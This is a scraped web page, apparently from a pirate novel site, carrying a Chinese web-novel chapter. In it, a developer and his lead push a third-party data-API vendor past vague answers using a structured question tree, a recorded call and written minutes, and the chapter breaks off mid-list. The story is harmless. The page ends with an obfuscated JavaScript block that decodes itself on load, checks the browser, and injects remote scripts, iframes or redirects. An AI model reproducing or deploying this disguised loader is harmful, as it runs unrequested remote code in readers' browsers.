首页
第222章 沟通障碍与解决方
返回

第222章 沟通障碍与解决方案

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第222章沟通障碍与解决方案(第1/2页)
    “星轨”项目的推进,在绝大多数时候,如同一台在无尘环境中精密运行的仪器。贝西克与林衍之间的协作,遵循着“木头人”准则建立起的清晰协议:任务通过卡片定义,沟通通过评论异步进行,进程通过看板可视化,交付通过清单验收。噪音被降至最低,干扰几乎不存在。然而,任何系统,当其接口需要与一个混乱、低效、不遵循同一套协议的外部世界对接时,摩擦和障碍便会出现。第一次显著的沟通障碍,源于一个必须集成的第三方数据分析API。
    问题浮现:模糊的文档与低效的邮件循环
    任务卡“DEV-30:集成第三方行业数据API”被创建。贝西克在描述中列出了清晰的需求:从指定的外部API获取特定维度的历史与实时数据,进行清洗、转换,并融入“星轨”的内部数据模型。他附上了API文档链接和数据规格要求。
    林衍在开始编码前,按照他的工作习惯,仔细研读了第三方API文档。文档写得模棱两可,充满诸如“通常”、“建议”、“一般情况下”之类的词汇,关键的技术参数缺失。他在任务卡下评论:
    “关于DEV-30,审阅外部API文档后,发现以下关键信息缺失,需澄清后才能进行可靠设计:
    1.历史数据查询接口,文档未明确单次请求可获取的最大时间范围。示例为7天,但未说明上限。问题:是否支持单次拉取90天数据?如不支持,分批获取策略(按周/按月)是否有频率限制或性能建议?
    2.实时数据接口,文档称‘近实时更新’,但未定义延迟具体范围(分钟级?小时级?)。问题:数据延迟的SLA是多少?是否需要我方主动轮询,还是服务方支持Webhook回调?
    3.关键字段‘industry_rank’的取值逻辑描述模糊,仅说‘根据综合算法计算’。问题:此字段算法变更的频率如何?是否有版本管理?历史数据口径是否会因算法变更而失效?
    4.调用额度限制描述不清。文档提及‘默认套餐每分钟100次,每日10000次’,但未说明是否所有接口共享此额度。问题:历史数据拉取这种可能返回大量数据的接口,单次请求是否会消耗多次额度?具体计算规则是什么?
    以上问题需明确。请协调获取准确技术说明。在得到明确答复前,数据管道设计的关键参数无法确定,存在返工风险。”
    贝西克看到了评论。问题很具体,指向了集成能否成功的关键。他回复:“问题清晰。我将联系对方获取明确技术参数。你可先基于文档已有信息及最保守假设(如历史数据需按月分批、实时数据需主动轮询)进行初步架构设计,但涉及具体分页逻辑、轮询频率、字段处理逻辑的部分暂留为待定,待澄清后实现。”
    贝西克通过邮件联系了该API服务商的客户成功经理,转述了林衍的四个问题,要求对方技术团队给予书面、明确的答复。邮件措辞直接,没有寒暄。
    两天后,回复来了。客户成功经理的邮件避实就虚:“尊敬的客户,感谢您的咨询。我们的API接口设计充分考虑了易用性和性能。关于历史数据获取,我们建议根据实际数据量进行合理分批调用以确保稳定性。实时数据更新迅速,能够满足大部分业务场景。核心字段的计算均基于成熟算法,结果可靠。调用额度的使用情况可以在控制台查看。如您在集成中遇到具体困难,欢迎随时联系我们,我们也提供专业的付费技术集成服务。”
    这封邮件没有回答任何一个具体问题。贝西克将邮件转发到任务卡下,并评论:“回复无效,未提供任何可操作信息。我已从其官网找到技术支持邮箱。请将你的问题列表进一步精简、格式化,确保每个问题都能用是/否或具体数值/规则来回答。重新发送至技术支持邮箱,并抄送我。同时,在代码中为所有依赖这些模糊参数的模块添加清晰的TODO注释和可配置项。”
    林衍将问题重新组织,变成了一份更像技术问卷的列表:
    “致技术支持团队,
    我方正集成贵方API,遇到以下具体技术参数问题,恳请明确答复,以便完成开发:
    1.历史数据查询接口,单次请求支持的最大时间范围天数是多少?(请给出具体数字,例如:30天、90天、或无硬性限制但建议不超过X天)
    2.若需分批获取,贵方推荐的分批策略是什么?(例如:按自然月、按固定天数如30天、或按数据量如每批1万条)
    3.实时数据从产生到可通过API获取的典型延迟是多少?(请给出P95或P99延迟值,例如:5分钟内、15分钟内)
    4.‘industry_rank’字段的计算算法是否有版本号?历史数据是否会因算法版本更新而重新计算或标记版本?
    5.调用额度消耗规则:历史数据拉取接口,单次请求的额度消耗是否与返回的记录数相关?如相关,具体计算公式是什么?(例如:每100条记录计1次调用,不足100条按100条计)
    请直接回答上述编号问题。非常感谢。”
    邮件发出。又过了两天,技术支持回复了,但答案依然含糊不清:
    “1.历史数据接口单次可获取较长时间范围,但为性能考虑,建议适当分批。
    2.建议按自然月或按数据量分批,视具体情况而定。
    3.实时数据延迟通常在几分钟到一刻钟。
    4.算法会持续优化,但会保持向后兼容性。
    5.调用消耗与数据量有关,可在控制台查看实时消耗。”
    “较长时间范围”是多长?“适当分批”如何定义?“几分钟到一刻钟”的波动范围太大。“持续优化”和“向后兼容”是矛盾的承诺。“与数据量有关”等于没说。林衍看着回复,感到一阵熟悉的烦躁。这种模糊性是他无法容忍的。他需要精确的输入来编写精确的代码。模糊的参数意味着不确定的行为,意味着潜在的故障和深夜的紧急调试。
    (本章未完,请点击下一页继续阅读)第222章沟通障碍与解决方案(第2/2页)
    他在任务卡下更新状态:“技术支持二次回复依旧模糊,无法作为开发依据。现状:关键设计参数未知。若基于当前模糊信息强行开发,可能导致:1.分页逻辑不合理,触发限流或导致性能问题。2.轮询频率设置不当,要么数据延迟过高,要么浪费额度甚至导致封禁。3.核心字段口径变化无法追踪,下游分析数据可信度存疑。建议:要么评估更换更规范的数据源;要么,必须与对方能解答具体技术细节的工程师进行一次直接的、同步的沟通,以消除模糊。”
    障碍升级:对实时沟通的抗拒与替代方案
    更换数据源成本高昂,且未必能找到更规范的。贝西克决定采用后一种方案。他评论:“同意,需要一次同步沟通来澄清。我将尝试预约其技术工程师进行一次简短的语音会议,明确问题列表。你需要参加,以便直接询问技术细节。”
    这条评论发出后,任务卡下出现了比平时更长的沉默。通常林衍会在几小时内回复,但这次,直到大半天后,新的评论才出现。是林衍的回复:
    “理解需要澄清技术细节。但实时语音会议对我个人而言沟通效率不高,且存在因临场听清、理解、反应不及而导致信息遗漏或误解的风险。建议采用以下方案以平衡效率与清晰度:
    1.由你主导此次语音会议。我会准备一份极其详尽的技术问题清单,以决策树或穷举形式列出所有可能情况及其对应处理逻辑。你依据此清单提问即可。
    2.会议请严格控制在30分钟内。我会提供会议议程(即问题清单),请务必提前发送给对方,要求其具备决策能力的技术人员参会并预先准备。
    3.会议期间请你进行录音。
    4.会后,我将根据录音逐条整理出书面确认点,形成会议纪要,再由你或我发送给对方进行书面确认。
    此举可确保问题全覆盖,避免遗漏,且所有结论均有录音和书面记录可追溯,减少后续扯皮。如你同意,我立即开始准备问题清单。”
    贝西克立刻明白了这段沉默和长篇回复背后的含义。对林衍而言,与一个完全陌生的第三方技术人员进行实时语音沟通,即使是纯技术讨论,也意味着不可预测的社交压力、即时反应的负担,以及信息可能因非书面形式而失真的风险。他提出的替代方案,虽然增加了会前准备和会后整理的复杂度,但最大化地降低了实时沟通的不确定性,并将沟通成果固化为可追溯的书面记录。这很符合林衍的行事逻辑:用更多的结构化工作和确定性的输出来规避不确定的、高能耗的实时互动。
    “同意。”贝西克回复,“你准备问题树。我来预约会议并主持。目标25分钟内结束。会议议程(你的问题清单)会提前发给他们。录音和书面确认按你的流程。”
    解决方案:结构化沟通与协议转换
    林衍准备的问题清单让贝西克都有些惊讶。那是一份近乎“穷举”的文档,将每个模糊点拆解成一系列的是/否选择题或参数填空题。例如关于历史数据获取:
    单次请求最大时间范围是否为固定值?
    是->固定值是多少天?___
    否->限制条件是什么?
    数据量限制->单次最多返回多少条记录?___
    响应大小限制->单次响应体大小上限是多少?___
    其他限制(请说明)___
    贵方推荐的分批策略?
    按自然月
    按固定天数(请说明天数)___
    按固定记录数(请说明条数)___
    其他(请说明)___
    分批请求间是否有最小时间间隔建议?
    是->建议间隔是多少秒?___
    否
    …
    文档覆盖了所有可能的模糊情况,确保无论对方如何回答,都能将可能性收敛到一个可编程的确定范围内。
    贝西克将这份文档作为会议议程发给了对方客户成功经理,并明确要求至少一名能够回答具体技术参数的工程师参会。对方勉强同意进行一次15分钟的简短通话。
    会议在两天后的下午进行。贝西克准时拨入,对方是客户成功经理和一名听起来很年轻、语速很快但有些紧张的技术人员。贝西克没有寒暄:“感谢各位时间。我们有几个具体的集成参数需要明确,以确保顺利开发。议程已提前发送。我们按顺序快速过一下,我需要贵方技术同事给出明确的参数或规则。”
    他按照林衍的问题树,一条条追问。对方技术人员开始时有些含糊,试图用“通常”、“建议”来回答。贝西克冷静地打断:“请直接告诉我,是,还是否。如果是具体数值,请给出数值。”在他的坚持下,对方技术人员逐渐给出了相对明确的答案:单次请求建议不超过30天,可按自然月分批,请求间隔最好大于2秒,实时数据P95延迟在8分钟以内,核心字段重大变更会通过邮件通知,历史数据拉取每100条记录计为一次额度调用……
    客户成功经理几次试图插话缓和气氛或转移话题,都被贝西克以“这个问题是集成关键,需要明确答案”挡回。22分钟,会议结束,比预定时间稍短,但林衍清单上的关键问题大部分得到了明确或趋于明确的答复。
    会议结束后,贝西克将录音文件发给了林衍。林衍在一个多小时后,发回一份《与[某某数据]API技术沟通确认纪要》文档。文档采用清晰的条目式列举:
    1.历史数据获取:
    单次请求建议最大时间范围:30个自然日。
    推荐分批策略:按自然月。
    分批请求间最小间隔建议:2秒。
    依据:对方工程师口头确认。
    2.实时数据延迟:
    P95延迟:
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();